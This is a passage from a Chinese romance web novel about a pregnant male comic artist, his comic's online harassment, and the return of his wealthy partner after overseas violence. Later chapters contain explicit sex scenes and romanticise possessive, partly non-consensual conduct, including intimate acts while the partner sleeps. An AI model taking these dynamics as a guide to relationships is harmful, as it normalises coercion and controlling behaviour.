这是他在绿漫开始画连载都没有遇到过的,他的作品一向是热血轻松搞笑向的,所以吸引过来的读者的也都是性格开朗的,因此评论区也大多是和谐轻松的,氛围非常友好。 到现在温真还时不时会翻看上一本,有时候看着看着会笑出来,他能坚持到现在很大一部分就是这些可爱的读者们。 也许是从第一本开始他所受到的赞美远远比谩骂要多得多,所以温真并没有做好在被人恶意攻击和诋毁时该怎么面对。 其实如果他们只是骂作者本人温真倒还能接受,但是他没有办法接受,他甚至很伤心,那些曲解他作品中的人物的读者。 “这个男主脑子有病吧,竟然因为爱上女主杀了自己的妹妹。” “这种对自己妹妹下得了手的人怎么能当主角啊,而且感觉那个男主最后狠起来会连女主一起杀。” 甚至他们开始造谣,男主把他们全家都杀了,只是为了和女主谈恋爱。 其实如果真正看了前因后果,便会知道是因为妹妹中了一种生不如死的毒,世上也没有任何解药,妹妹受不了身体慢慢腐烂这种折磨,才恳求男主,让男主杀了她,男主才下手的。 可这样的剧情,被曲解成了男主为了和女主谈恋爱所以杀掉了妹妹。 然后他们便拿着恶意剪辑过的片段,在各个网络平台上传播,那些为主角解释的话,根本没有人听,也没有人在乎。 他们的作品被这样曲解诋毁时候,艾玛的《无忧令》却频频出现在热榜上,会打上温情、治愈、清醒等的标签。 原本热度持平的两部作品,温真的《清心诀》热度开始下跌,而艾玛的《无忧令》热度在疯狂上涨中。 “热度他们暂时领先了,但是我们订阅稳居第一,说明内容还是能打,我们先暂时稳住,等过了这阵风波再说。”石美青叫他们三个人开了会,给他们打气,“接下来,我会以工作室的名义,起诉几个恶意诽谤我们的网友。” 石美青安慰他们,“以我的经验看,被那么多黑粉攻击造谣,说明这部作品要爆红了。” 阿美和珍珍勉强挤出笑脸。 人就是这样,千万的赞美都抵消不了一条恶语。那些心理强大的明星也有长期遭受网暴而产生心理问题的,更别说他们了。 不过阿美和珍珍此刻最担心的是温真。 为这部作品倾注最多的心血的是温真,那同样看到自己笔下主角被人恶意曲解的更痛心的也是温真。 温真坐在自己工位上,脸色苍白,一动不动地盯着屏幕。 他尽量不去想那些诋毁攻击的话,坚持把今天的内容画完,发布上去,改变了自己每发布一章便等着看评论的习惯,而是彻底关闭电脑,他就这样坚持着,尽量不让自己情绪崩溃。 过了一周、两周,直到攻击诋毁他们的声音少了很多,一些真正喜爱他们的读者的夸赞开始慢慢浮现…… 他的作品又重新上了绿漫的开屏首页。 就在温真的心情好很多时,新闻上开始播放海外暴**乱的新闻。 视频中,蒙面的,拿枪的,带刀的,在大街上来回地扫射…… 尸体遍布…… 温真手里的杯子“砰”地摔碎在地上。 *** 秦家阴云遍布。 作为商人,对各个国家的变动其实是最敏锐的,然而这次实在太猝不及防了。 “爸,你别担心,那边有我们国家的大使馆,这次他们主要是针对别的国家,我们国家的人不在他们仇恨范围内,而且我们现在强盛了,他们不敢对我们的人怎么样,再者秦妄这小子福大命大,不会有事的。”秦舢忍受不了这种压抑的环境,开口道。 “是啊,爸,人家算命先生都说了,他这辈子就是大富大贵,幸福美满的命,你千万别担心,你自己身子再担心坏了,可不值得。”秦夫人也跟着道。 秦富威一言不发,心却慌得不行。 秦舢和秦文商都是他年轻时候生的,那时候他忙着做生意,根本不管他们,也没滋生过太多的父爱,可有了秦妄时候,他四十岁,正是喜爱孩子的时候,秦妄大部分时间他都陪着,也许是因为秦妄长相随妻子,性格又随他,所以这三个孩子中,他最宠爱他,有时候几乎到了溺爱的地步。 然而没想到,他在半截身子入土的情况下,还要担心自己的儿子会不会死在别的国家。 秦舢的手机响了,他慌忙接通,“赵助理,怎么样,有消息了吗?” 秦舢挂了电话,四只眼睛齐刷刷地盯着他,秦舢薅着自己的头皮,“还是联系不上。” 从发生动乱后,秦妄便失联了。 “都怪我,这个项目最早是我推进的……选什么国家不好,偏偏选中那里……”秦舢懊悔极了。 秦妄出生时他都二十岁了,过了要和弟弟争宠的年龄,也不会因为父母偏心而嫉妒,他知道自己能力不足,所以秦富威决定把秦氏集团交给秦妄打理的时候也不像秦商文那样愤怒,很平静地接受。 秦妄这几年对他们一家三口也十分不薄,他虽然总训秦宝章,但也是真心实意地爱秦宝章。 现在他恨不得去海外的人是自己。 “联系不上说明是好事,证明人没事……”秦夫人苦笑着道。 秦富威拄着拐一言不发地走到书房。 整个宅子灯火通明了一夜又一夜。 秦妄的出行一般只有心腹知道,出了这么大的事情,更是一点口风不敢透,秦舢比以往更忙一些,他出门时候,秦夫人也在收拾自己。 秦舢问她,“你要去哪?” “我得去看看温真,”秦夫人面带愁容,“他一个人怀着孕,肚子里宝宝的爸爸生死未卜,不知道他心里是什么滋味。” “既然是秦妄强迫他的,他对秦妄应该也没有什么感情,秦妄是死是活他不会关心。” 秦夫人却是摇头,“你一点都不懂。” “既然他对秦妄没有感情,为什么要留下孩子?” “秦妄不让他打,他当然不敢打。” 秦夫人还是摇头,“孩子在他肚子里,他要是想打,哪怕秦妄有通天的本领也拦不住他,他不打孩子那是他自己不愿意。” “我和你一样,原先一直以为是秦妄强迫他的,后来知道他不愿意打掉孩子,我就知道,他对秦妄应当也产生了感情。” “没有人会愿意给自己不爱的人生孩子。” 秦夫人不敢贸然去温真的家里打扰他,而在约在温真公司附近的餐厅里。 秦夫人等了一会儿,很快一位青年走了过来。 温真坐在秦夫人的对面。 秦夫人打量着他,孕肚看起来又大了一些,藏在棉袄里面,显出几分笨拙,还以为他脸色会不好,可白净的脸庞泛着微微的红色,气血充足的样子。 除了眉眼过分平静一些,秦夫人一点都看不出秦妄生死未卜对他有什么影响。 “小妄的事情,你别担心,他福大命大,不会有事的。”秦夫人一边说,一边盯着温真的脸,试图从他脸上找出一点难过。 温真眉眼却一直很平静。 “……嗯。”温真轻声回答。 声音也没有明显的起伏。 “是不是该五个月的产检了?要不我陪你去?” 温真露出微笑,“……不用了,医院在我们公司附近,到时候我趁着工作不忙的时候去检查一下就行了。” 秦夫人还想再说点什么安慰他,但看温真沉默地坐在那里,连昔日的拘谨都没有了,只剩下静默,秦夫人便什么也没有再说。 *** 石美青偷偷把阿美叫到一旁。 “温工最近情绪怎么样?” “比前几周好多了,刚才我们开他玩笑,他还笑呢。”阿美以为石美青还在担心温真被黑粉影响心情的事情。 石美青没有解释,黑粉和生死相比,显得太微不足道了。 起诉黑粉是赵程操办的,赵程和她说起诉结果顺便提了一嘴秦妄去**出差了。 她没时候看新闻,可不论是乘车还是吃饭,都能听到有人谈论死伤有多惨烈。甚至还有他们国的人遇害的。 而秦妄到现在还没有消息。 阿美和珍珍回到工位上后,石美青还是不放心,假借询问工作进度去找了温真。 温真坐在工位上,黑发柔顺地垂落,脸庞白皙泛红,眼睛盯着屏幕,老练地移动鼠标,因为够专注,显出一丝清贵。 没有她想象中的……慌乱无主。 可是,生死不明的不是别人,又怎么会无动于衷呢? 付钰宁周五回家也不动声色地注意着温真。 她并没有在温真脸上看到有明显的难过和伤心,然而她并不能真正的放下心来,甚至感到很不安。 付钰宁说什么也不让温真做饭了,她去餐馆里打包了一些吃的,自己没吃多少,看着温真吃,好在温真的胃口不错。 晚上她看着温真回到自己房间后,她才敢睡,半夜里,她醒来喝水,走到客厅。 便见电视无声地亮着,重复播放着满地伤亡的视频。 温真一动不动地坐在沙发上,盯着视频看。 “爸爸。”付钰宁忍着心疼叫他,“这么晚了,你怎么不睡。” 过了半晌,温真转过身,脸被屏幕光打得灰青,他喃喃道:“马上就睡了。” 却坐在沙发上一直不动。 然后付钰宁才知道,从**发生动乱后,温真一直失眠到现在。 【📢作者有话说】 啊啊啊下章就回来了。 留评发红包。 42 ? 第 42 章 ◎“用我的衣服做了什么?”◎ 除了每天要看新闻, 关注**的大使馆,温真和从前一样埋头工作, 只是偶尔在工作的间隙,他仿佛灵魂抽离了一样,忽然不知道自己为什么坐在这里。 黑洞一样的虚无吞没了他,可这种虚无并不会延续很长时间,他会很快从这种虚无中回过神,继续自己的工作。 这种从来没有过的无意义感温真认为只是诋毁的评论对他造成的阴影。 他并没有放在心上。 随着连载的篇幅越长, 订阅的人也越来越多,他的作品开始频频出现在首页推荐上,会有很多读者截屏搬运到各个网络平台, 每一次搬运都会收获以万为单位的点赞, 随之慕名而来的读者也越来越多。 这本作品比上一本热度还要高出许多。 艾玛的《无忧令》逐渐走向下坡。 “虽然这样很不道德,但我还是觉得解气!” “让你们只想着出阴招, 而不好好磨炼自己的内容, 现在追不上了我们了吧。”珍珍大快人心道。 绿漫会根据每个作品的订阅高低进行排名, 刚开始连载那几天,温真的《清心诀》遭遇攻击,受到了影响,排在了第二,《无忧令》排在第一。 没过几天, 《清心诀》便将《无忧令》挤了下去, 从那之后,《清心诀》一直稳居第一,《无忧令》从第二掉到了第三, 最后直接被挤出了第十…… 完全不再是他们的竞争对手。 “你看, 现在很多读者都在为我们的作品正名。”珍珍给温真看, “评论区也不像之前乱糟糟的,又重新回到了友好的氛围。” “而且,知道我们的作品被对手恶意买黑粉后,好多读者都在关心你,希望你的心情不要被影响。” 作品再一次得到了认可,温真很高兴,真的很高兴。 可这种高兴并没有让他从摆脱那种令他无所适从的虚无感。 为了庆祝这次胜利,温真和同事一起去餐厅吃饭,很巧合的是,他们来到了温真和秦妄一起来过的餐厅。 吃饭的中途,温真忽然感觉到自己体内长出了一根细线,这根细线勒住了他的心脏,每一次的温真看到某个物品而联想到男人时,这根细线便会勒深,钝刀子一样割着他,血淋淋的疼痛感…… 然后他才意识到他在想念男人。 他也会想父母,也会想女儿,可为什么想他会这么疼…… 好像只有见到他,摸到他,这种疼才会缓解…… 赵程专门来找他,“联系上秦总了,他马上会乘坐飞机回来。” 接着他又加了一句,“秦总很幸运,并没有受伤。” 他没事…… 他要回来了…… 那根细线开始变松,给了他喘息的机会,那种被勒铰的疼痛感也在慢慢地降低。 然而电视屏幕上,一辆飞机被炸毁,带着熊熊烈火坠落下去,女主持人用标准的播音腔冷静道:“据了解,被炸毁的飞机载了五名国人……” 那根松开的细线又猛地勒紧,将温真的心脏活生生地截成了两半,温热的东西从脸上滑落,温真木然地摸了一把,手心变得濡湿…… 电话一直响,温真接通,一道道遥远又模糊的声音传来。 “温工,你还好吗?” “爸爸,你要好好吃饭,你别……” “温先生……” 温真不知道自己回答了什么,他挂了电话,回到房间,闭上眼睛,他失眠了将近一个月,此刻却终于睡着了。 第二天早上,温真七点准时起床,八点到公司,打开电脑。 石美青走过来,似乎想对他说什么,可终究没出声,又离开了。 赵程也来看过他,对温真说了什么,温真已经不记得了。 他还是每天八点下班,乘坐完地铁后,步行回家。 他怀孕已经六个月了,肚子越来越大,羽绒服也藏不住了,那些好奇的打量,温真已经不在乎了,他甚至会像一个疯子对自己肚子里的宝宝说话…… “妈妈感觉好累……好累……” 高大的身躯缓慢地靠近他,浓稠的黑影将他笼罩住,似乎有所感应,温真停下脚步。 然后滚烫的胸腹贴住他后背,一只手捂住他的嘴。 “别动。” “肚子这么大,还敢一个人出来。” 又低又哑的声音,带着一丝疲惫,以及无尽的思念。 温真眼睛缓缓睁大,还没来得及转身,泪便先流下来了。 *** 不知道怎么回到自己家的,等温真反应过来他已经被男人抱着坐在了厨房的柜橱上。 “我,我先给你做点吃的好吗?”温真轻声。 男人并不说话,强硬地挤开他的退,站在他退中间,越发大的孕肚贴着男人的衣服摩擦着,感受到男人的焦渴。 温真没办法下去,便颤抖地盯着男人看。 不知道这一个多月是怎么过来的,整个人都憔悴狼狈了许多,甚至变瘦了,手指的骨节凸着,硌进他的肉里。 眼窝越发深陷,眼底有些青黑,甚至平常总是干净整洁的衣服也皱了许多。 越看心便越疼,他颤抖地触摸男人的皮肤,从眉毛一直摸到嘴角。 男人直勾勾地盯着他,丝毫不掩饰那种恨不得把他整个人都吞吃掉的欲渴和饥饿,这种目光让温真抑制不住地想回避,可他的眼睛又不舍得从男人脸上移开…… “……我还以为你……”后面的话温真哽咽着说不出来了。 “为什么,为什么不说一声……” 明明没有出事,为什么不打电话说一声,让他那么担心。 说完,一个月积攒着的痛苦,担忧,焦灼,无助,终于倾泻而出,温真抱住他的脑袋,无声地淌泪。 还以为再也见不到了…… 泪流到自己脸上,秦妄心脏像是被人用手掐住了,一时疼得厉害,从来没有过的感觉让他僵硬了一会儿,才把脑袋贴在温真的胸口前…… 柔软的,会跳动的,那是他第一次见到什么叫尸横遍野,画面冲击力过于强烈,以至于他的大脑为了保护他,麻痹他的情绪,此刻才后知后觉地庆幸自己还能活着回来,还能像这样被温真抱在怀里…… 他当时想过温真听到他的‘死讯’会伤心,可没想到温真会这么伤心……温真看起来怯懦,但底色是坚韧的,不然他不会把一个生病的女儿养得那么好…… 他没见过他哭…… 心口一阵闷痛,让他很想狠狠抽自己一耳光,为什么要让他这么伤心…… “都是我的错。”秦妄干涩地开口,“别哭。” 一个成年的男人竟然哭成这个样子,温真知道自己很失态,可是他忍不住。 秦妄见他的眼泪像条小溪一样汩汩地流,喉结一滚,便去舔他的眼泪,他对温真身体里流出来的液体有着超乎寻常的狂热,舔完脸上又去吸温真眼睛里还没来得流出来的…… 这样诡异的擦泪方式很快让温真不敢哭下去了。 温真挂着两道泪痕,满脸红晕地推他。 秦妄缠绵地蹭着他的鼻头,哑声,“我饿了。” “那,那我给你弄一点吃的。”温真赶紧道,“想吃什么?” 动乱的地方,人类的一切秩序都崩塌了,吃饭肯定成问题,温真很担心他挨饿。 男人忽然蹲下身,然后掰开温真的退…… 明明才刚回来,就要这样。 温真脸上涌起了两团红晕,羞耻极了推他的脑袋。 男人鼻子蹭在上面,像个兽类般嗅来嗅去,还要扒开,仔仔细细、一寸一寸地闻。 像是巡视自己领地…… 薄薄的两层布料似乎都要融化了,克制不住的战栗起来…… 温真颤抖起来,“别,别……” 没一会儿他又起身,声音有些阴冷,“我不在的时候,被碰过吗?” “……没,没有。”温真难为情极了。 “撒谎。” 不知道他怎么……闻出来的,温真忍着羞耻,“……是,是我自己……” 秦妄忽然凑近他,阴冷的表情变成揶揄的笑,“你自己?” “想着我弄的?” 温真慌忙地捂住他的嘴,不让他再说了,男人躲开后,继续道:“我每天也想你……” “你的nei裤都被我磨烂了。” 怪不得那天穿衣服的时候没有找到,原来……温真脸烫极了。 知道温真想着他做那种事情后,男人眼睛闪烁着诡异的光芒,一动不动地凝视着他,呼出来的气息都沉极了,这种样子,让温真忍不住心悸…… 幸好这个时候,男人的电话响了,按掉之后又一直不停地响,男人沉着脸接听。 他回来后,直奔这里,集团没去,家也没回,现在都在催他回去,毕竟手握权利,没办法推卸责任,只能意犹未尽地放开温真。 赵程在车前站着,眼圈发红。 “秦总,我还以为……”赵程哽咽。 秦妄: “打住。” “等我真死了再哭。” 赵程抹去眼泪,给他打开车门,“我先带你回家,然后去集团。” 秦舢在门口翘首以盼,秦夫人搀扶着秦富威,秦宝章蹲在地上。 “这小子,回来不先回家跑什么地方去了?”秦舢怒道。 秦夫人哼笑一声,这还用想,当然是看自己老婆孩子去了,不然回来先看你们三个男人啊。 “你说他不会是受伤了,不敢回来吧。” 秦富威怒斥他,“瞎说什么。” “我这不是担心嘛。” 正说着,一辆车开过来。 秦妄刚下车,秦宝章嗷的一嗓子扑了过去,随即嚎啕大哭,“小叔,我以为再也见不到你了呜呜呜!” 秦妄揪着他的领子,把他揪到一边,“行了,这不是回来了。” 小的不哭了,大的开始哭,秦舢拍他的肩膀,上下打量他,“你说你没事就不能给家里打个电话吗?害我们担心!” 秦富威确认他没受伤,还是全须全尾的,重重地哼出一口气,也不让秦夫人扶他了,自己拄着拐杖颤颤巍巍地往回走,悄悄地抹泪。 他们一行人往屋里走,秦富威问,“说说,到底是怎么回事?” “是啊,你打电话不是说坐的B-5789那架飞机吗?”秦舢语气低沉下去,想到视频里那架飞机被击中,坠毁,现在他还心慌手抖,怕得不行。 秦妄沉默一会儿,“原本是打算坐的。” 听见第一声枪响,他刚和**国的项目负责人开完会,路明远匆匆跑来告诉他,外面发生动乱了,接着新闻便开始播报外面的惨状。 他们先是联系了大使馆,大使馆里的人告诉他们现在街道上都是游/行的,暂时不要乱走,于是他们一直等到游/行结束,才开车到大使馆。 到达大使馆后,又一波动乱开始,他们便继续等情况平稳一些,这就浪费了大半个月时间,直到情况稳定一些,大使馆才将他们陆陆续续地送回去。 他和路明远一开始的确安排的是做B-5789,但有一个女人带着两个孩子,那两个孩子还很小,被枪炮声吓得一直哭,喊着要回去。 因为情况还不稳定,没办法一次性把他们送走,只能分批次送走,他和路明远过去的早,被安排送回去的也早,这个女人还要等几天。 如果是以前,他可能并不会管,但是那时候,秦妄忽然想到,如果是温真带着孩子处在无助的时刻呢? 所以他和路明远一商量,让女人带着孩子先走,他帮助对方是希望,如果真的温真以后遇到这种情况,也能有人愿意帮帮他。 可是他没想到,他的帮忙反而是害了别人。 听完,房间里一片沉默。 “人各有命……”秦舢叹一口气,“都是命啊。” “看看能不能找到对方的家人,如果找到,去看看吧。”秦富威低声。 秦妄没在这里久待,他回来就是报一声平安,和赵程马不停蹄地去了集团。 秦妄到集团后,先是开了一个股东大会,**的项目彻底黄了,这次损失实在不小,主要是商议怎么弥补。 开完后,赵程向他汇报,“你这次离开的时间太久了,加上不知道怎么传出去的,一些生意伙伴,以及我们的竞争对手,都知道你去了**,现在都在传你大概回不来了,暗戳戳地盯着秦氏,想搞事情。” 秦妄合上文件,冷笑一声,“今天不是游乐设施设备展览会开幕式吗?” 赵程想起来了。 这个游乐设施设备是上面办的,来参加的都是行业的协会会长等有声望的人,知道温真怀孕后,秦妄便往里面投资了一大笔钱,主办方便一直邀请秦妄能参加,但秦妄实在太忙了,一直没有决定要不要去参加。 现在定下去参加,正好对公众亮相,同时这个展览会的郑重程度也能对那些暗戳戳的人起到镇压的作用。 “那我马上备车。” 等秦妄堆积的事务彻底忙完,已经是两天后了。 秦妄将手边的文件一推,起身,去了办公室里用来休息的更衣室,出来时候,换了一套干净的西装,胡子刮得发青,面容整洁又英俊。 深邃的眼睛闪烁着一种令赵程觉得悚然的光芒,像是饿太久的样子。 赵程问,“秦总,要去什么地方,用不用……” 话没说完,秦妄便冷淡打断他,“不用。” 扔下这句话,他拿着大衣走出办公大楼。 与此同时,橙风办公室里。 阿美合上电脑,“温工,不对,应该叫温总,温总,下班啦。” 公司要调整架构,打算升上来一位副总,石美青没明说,但大家都知道是温真。 温真脸庞红润,不好意思地笑了笑,“……还不一定的事情。” “反正大家都猜是你,”阿美道:“快点下班吧,再晚回去要冷了。” 温真关上电脑,和阿美前后脚出去,走出办公楼的时,天空飘起小雪,到小区门口,雪已经下大了,温真乘坐电梯到自己住的楼层。 走廊的灯前几天坏了,物业一直没修,一片漆黑中,隐隐预约能看到一个高大的轮廓,那道轮廓比黑暗的黑还要浓郁一些,可以隐约看到起伏,听到发沉的呼吸声。 温真能感受到对方的视线钉在他身上,正一寸一寸地凝视他,温真莫名有些害怕,正要打开手电筒,对方却忽然箍住他的腰。 手机重重砸在地上的同时,温真也被托住tun部抱起来,清晰感受到男人的欲渴…… 温真惊怕地挣动,“之浸,是你……” 话还没说完,唇瓣便被用力地顶开了…… 口腔被迫张开到最大,让男人整个舌头侵入进去,带着颗粒的舌头碾磨着柔嫩的腔肉,很快情不自禁地分泌出甜腻的汁液…… 这里是门口,应该让男人的停下的,可是温真双眼涣散,纵容那根像是从男人身上异化出来的器官在他口腔里肆意地舔舐…… 粗糙的骨节巨大的手从衣服下摆伸进去,摩挲着他细腻柔软的肌肤…… 电梯叮咚响了,那预示着有人要在这一层下,温真猛地攥紧男人的衣服,男人不知道什么时候从他口袋里掏出钥匙,在电梯门缓缓打开时,抱着他进了家门,门瞬间被紧闭。 温真被放到了床上。 是他卧室的床上…… 自己的卧室就这样被男人进来了…… 房间里的一切被男人观察着…… 温真忽然感到羞耻,像是自己没有穿衣服被男人仔仔细细地观察着…… 很快秦妄便看见了枕头旁边自己的衬衣。 被发现了…… 唇瓣被亲得嫣红肿胀,合不拢似的微微张开,露出淡粉红的舌尖,脸也羞得发红,难堪地用枕头遮挡住…… 他来得太突然了,温真都没有来得及藏起来。 秦妄倾身压住他,目光牢牢地定在温真的脸上。 “藏我的衣服干什么?”秦妄故意沉声质问,像是在训斥干坏事的孩子。 “没,没干什么……”温真捂住自己的眼睛。 “你怎么站在门口……”他转移话题。 “不是不肯让我去你公司接你。”秦妄道。 “天这么冷,为什么给我打电话……”温真心疼道。 “想我吗?”男人一边问一边把他碍眼的棉衣脱下来。 肚子撑开衬衣高高地挺着,配上那张泛红的脸和狼藉的唇肉,既让人感到圣洁,又让人觉得丰色情,即使挺着孕肚,也想占有他。 温真想用被子挡起来。 “别看……”温真轻声地恳求。 “想我吗?”秦妄继续追问。 “……想。”温真两颊晕红,长睫颤动, 不在因为害羞而隐藏自己的思念。 秦妄没想到他会这样直白表达自己的思念,他捧住他的脸,又觉得幸运,又觉得庆幸,他在温真脸上狠狠亲了一口。 “我也想你。” 子弹擦着脸庞飞过时,他忽然很害怕,并不是怕自己会死,而是怕再也见不到他。 “让我看看宝宝。” 衬衣很快被解开了,孕肚没有遮挡的露出来。 从肋骨下面凸出来,圆滚滚的,雪白又莹润,泛着一层细腻的光泽。 像是天生便该孕育生命的一样,别人怀孕都会身材走形,变丑,只有他全身上下白里透红,瘦削的身体也丰盈起来,一身软绵绵的嫩肉。 甚至刚才抱他的时候,发现那两瓣又圆翘肥嫩了不少,会自动地缠裹他的掌心。 秦妄揉他的肚尖,衬衣很快被丁页出两个尖尖,隐约可以看到泛着光泽的粉色。 温真呼吸急促起来,“别揉,那里……” 秦妄停下,也没有把他的雪白的孕肚盖住,就那样让他露着。 他坐在床边,胳膊穿过温真的腰,将温真半抱在怀里……衬衣滑落,露出温真丰润粉色的肩膀。 秦妄低头,去亲他的脸颊,故意问, “用我的衣服做了什么?” 43 ? 第 43 章 ◎“那今晚也让我开心开心。”◎ “只是, 闻闻。” 温真蹭秦妄的脸庞,被他的胡茬扎得发痒, 露出一点羞涩的笑意,摸他已经不那么扎手的脑袋。 “真的吗?” “没做点别的?”秦妄也蹭他。 两个人拥抱着,身体紧紧贴着,把彼此的温度、心跳、脉搏传给对方,脸颊蹭着脸颊,唇瓣磨着唇瓣, 时而含吮对方的耳垂、手指。 耳畔厮磨着…… 温真脸颊发红,不回答了。 秦妄亲着他颈窝笑一声,又去揉捏温真的孕肚。 孕肚涌起战栗酥麻。 子宫也暖融融的被轻轻揉捏了一样。 不知道是困, 还是愉悦, 温真四肢发软,眼睛要睁不开了。 “困了?” “嗯……” “这段时间没睡好?”秦妄摩挲他的眼底下的青黑。 “嗯。” “担心我?” 温真脸热起来。 “那睡吧。”秦妄这样说着。 温真还在想他这次怎么这么好心让他睡觉时, 那只抚摸他的孕肚的手缓缓向下, 很快分开他, 两根长骨节又大的指头钻进去。 温真羞耻地推他,“……睡觉了。” “你睡你的,我做我的。”秦妄笑道。 反正趁着他睡着的时候,他都不知道舔过多少次了。 温真一时不知道该说什么,到底还是纵容男人, 让他摆弄自己, 像是故意的,隔着衣服,轻轻地摩挲揉弄, 微微的痒意传遍四肢百骸, 很快濡湿了一小片。 秦妄这才把他的下衣脱掉, 修长匀称的双退露出来,温真羞得膝盖碰在一起蹭弄着。“别看……” 小时候男生的退都长了汗毛,只有他没有长,为此还受到了嘲笑,从那之后即使到了夏天,温真也照样穿长裤子,遇到他之后,双退才频繁的露出来。 “不给我看,还想给谁看。”秦妄分开他,拇指按上去,“不是要睡觉吗?” “快睡。” 这样还怎么睡得着…… 温真脸颊红着,很快感受到男人的拇指按在上面。 男人的拇指大极了,一整个按在上面,轻轻地磨和揉。 温真呼吸急促起来,“别,别……” 秦妄给他看指头,“都湿了。” 温真羞得遮住脸…… 窗外的雪很大,寒风呼啸,室内却温暖如春,温真靠在男人的怀里,鼻腔里都是男人幽冷的气息,白净的脸颊涌着两团红晕,咬住手背,颤动着去吃男人的指头,自己触碰不到的地方,轻而易举地让男人摩挲揉捏,缓解他这一月来的酸楚和渴望…… 从来没有过……这样舒服的感觉。 四肢都软绵绵的,意识飘忽…… 不自觉轻轻地唤男人的小名,“之浸……” 温真听见他嗯了一声,接着自己便被放在了床上,高大的身躯也覆盖下来,滚烫的欲渴的紧紧抵着,温真怕起来,秦妄握住他的两条细白的胳膊,让他搭在自己肩膀上,然后轻声哄他,“别怕,不会弄疼你。” 第一次听到他这么温柔讲话,可还是害怕,温真紧紧搂住他的脖子,忐忑地等待着。 很快温真猛地仰高脖子,指甲掐到男人的肉里。 “不要,不要了……”温真可怜地求饶。 秦妄一边吻他,一边哑声哄他,“好,不要了。” 可并没有丝毫要停止的意思,像是本来就是他的生存空间,完全地,无任何死角地占有…… 眉头慢慢舒展起来,掐进男人肉里的指甲也变成了抚摸,雪花飘落在窗前,又很快融化,温真随着男人的起伏,也舒服得要融化掉了…… *** 在温真半睡半醒的时候,毛刺一样的脑袋蹭着他的脸,又开始亲他的唇瓣,嘴巴好像是抚慰他的东西,被欲渴的吮吸着,连舌尖也要含住,嘬吸着。 温真喘息着分泌出甜蜜的津液喂食男人,男人兴奋起来,整个灵活的器官都塞到温真的嘴里,让温真柔嫩的腔肉抚慰它。 温真睁开眼睛的时候,嘴巴还鼓鼓地含吃着男人的舌头,他羞着推他。 “唔……” 这才意犹未尽地出来,可温真的口腔一时半会没办法合拢,保持着秦妄舌头的大小那样张开着。 秦妄帮他闭紧嘴巴,“起来吃点东西。” “几点了?” “八点。” 温真一下子坐起来,身体的酸软又让控制不住地喘息起来,他匆匆穿衣服,“八点了……” “怎么不早点叫醒我。” “帮你请假了。” “外面都是雪,交通都瘫痪了。”秦妄道:“再者,昨天折腾了一夜,今天还能让你去工作?” “还疼吗?” “让我看看。” 温真羞得并紧退,“不疼了……” 秦妄也没拆穿他,一下子把他抱起来,“先吃饭。” 这是泾市最大的一场雪,几乎没办法出行,秦妄便简单做了早餐。 吃完饭两个人什么也不干,就躺在床上抱着。 “这次必须听我的,要休假。”秦妄正亲着温真的脸蛋,忽然捧着温真的脸严肃道,“不许再去上班。” “自己老婆大着肚子还要上班,说出去我都惭愧。” 温真脸红起来,“什么老婆……” “不是老婆,那你肚子里怀的什么?”秦妄冷哼着笑。 “怀的是……小狗的宝宝。”温真也笑。 温真不知道爱情的爱要怎么表达,他从成年开始,表达的爱一直只有爸爸对孩子的爱,因此他对秦妄有时候也像父母对孩子般纵容,也会像对女儿一样,不自觉地说一些哄孩子的话。 这是他爱人的方式。 “我是狗?”秦妄猛地咬住他的脸,“还是小狗?” 接着秦妄便开始像狗一样拱他舔他咬他,温真被他弄得痒极了,想要推开他,结果没一会儿两人又亲吻在一起。 交通瘫痪的这一天,是他们疲惫忙碌生活里难得轻松的时刻,他们什么也不想,就那样拥抱亲吻着。 *** 即使男人不说,温真也打算不再去公司了,肚子越来越大,到时候没办法再用吃胖了解释,虽然知道公司里的同事都不会用奇怪的目光看他,但温真还是感觉到难为情。 他打算和石美青是商量一下,等这篇连载完,他便居家办公。 石美青大概是猜到了,没有拒绝,而是道:“居家办公之前,你先跟我去见一个人。” “他很喜欢你现在这本《清心诀》,打算买下版权,拍成动漫和影视剧。” 作为作者,都希望自己的作品能够让更多人看到,温真也不例外,他当然是高兴的,可高兴之余,他又有些奇怪,“这种版权的买卖不是有专门的人负责吗?我也要亲自过去吗?” 石美青点点头,“陆文元你应该认识吧。” “当然听说过……”温真惊讶。 那么有名气的明星,几乎家喻户晓,更何况自己的女儿还很喜欢他。 “就是他想买这本版权。” 自己女儿喜欢,温真也跟着了解他,他并不是那种资本捧出来的,而是自己实打实跑龙套一步一步走到顶流的位置,而所有行业都是,名气和能力越大,所拥有的话语权也越多,像陆文元这种是可以自己购买自己喜欢的作品,然后自己当制片人,或者参演主角。 “而且他很想见见你本人,你也不用担心,”石美青道:“很多人喜爱一部作品,也会爱屋及乌喜爱作者,希望见到作者那样,陆文元他也是这样,他是主动托人联系我的。” “那什么时候?” “等雪化完吧,我带你去和他见一面。” “等谈完版权之后,你就可以在家办公了,其实,”石美青不动声色地看了一眼温真的肚子,“你可以直接休假的。” “《清心诀》也到了收尾的阶段,今年应该不会再有什么大的项目了。” “嗯……只是我如果停下来,会容易胡思乱想。”温真道。 石美青点头,“升副总的事情你知道了吧,等会我会在公司群里发一份红头文件。” “以后你就正式是公司的副总了。” 石美青看温真神情有些犹疑,又接着道:“别怀疑你的能力好吗?从我任职到这里,你的两部作品都有那么优秀的成绩,关键是又勤奋,你是我们整个公司的福星和宝贝啊,如果你愿意,我这个位置给你做也行,你完全配得上。” 这样夸张的赞美让温真赫然地笑起来。 出了办公室,大家都已经看到红头文件了,纷纷来祝贺温真。 大家的称呼也从温工变成了温总。 “温总,要请客啊。” “嗯,请客。”温真笑。 和同事们一起吃完饭,温真看着同事一个个上车后,才给男人打了电话,过了一会儿,一辆库里南缓缓开过来,秦妄从车里面下来。 “不会在里面等吗?”秦妄轻声斥责,“围巾呢?围巾怎么不戴?” “忘在办公室了。”温真看着他,轻轻地笑。 秦妄使劲捏他的鼻子,“如果感冒我要打你屁股。” “不会的,别打……”温真羞赫起来,不知道他怎么能够面不改色地说出这样的话。 秦妄牵起他的手,正准备让他上车,忽然看见餐厅里面一个女孩震惊地望着他们,秦妄记得她,是常跟在温真身边的同事,他也没有放开温真的手,继续牵着温真走到车旁边。 “也是,现在我该叫你温总了,要是被别人知道自己上司私底下会被男人打屁股的话……” “你知道了。” “升职开心吗?”两个人上了车,秦妄把温真抱在腿上,鼻子蹭着他的鼻子。 “……开心。”温真轻声。 “那今晚也让我开心开心,”秦妄咬住他的耳朵,“温总。” 44 ? 第 44 章 ◎“趁我睡觉的时候想干什么?”◎ 秦妄没开心成。 刚抱着温真到家, 赵程便打来电话。 秦妄继续解温真的衣服,手机铃声执着地响, 秦妄忍无可忍接通,挂断后,秦妄看了一眼温真,发现温真在笑。 秦妄凑近他,“你为什么这么开心?” 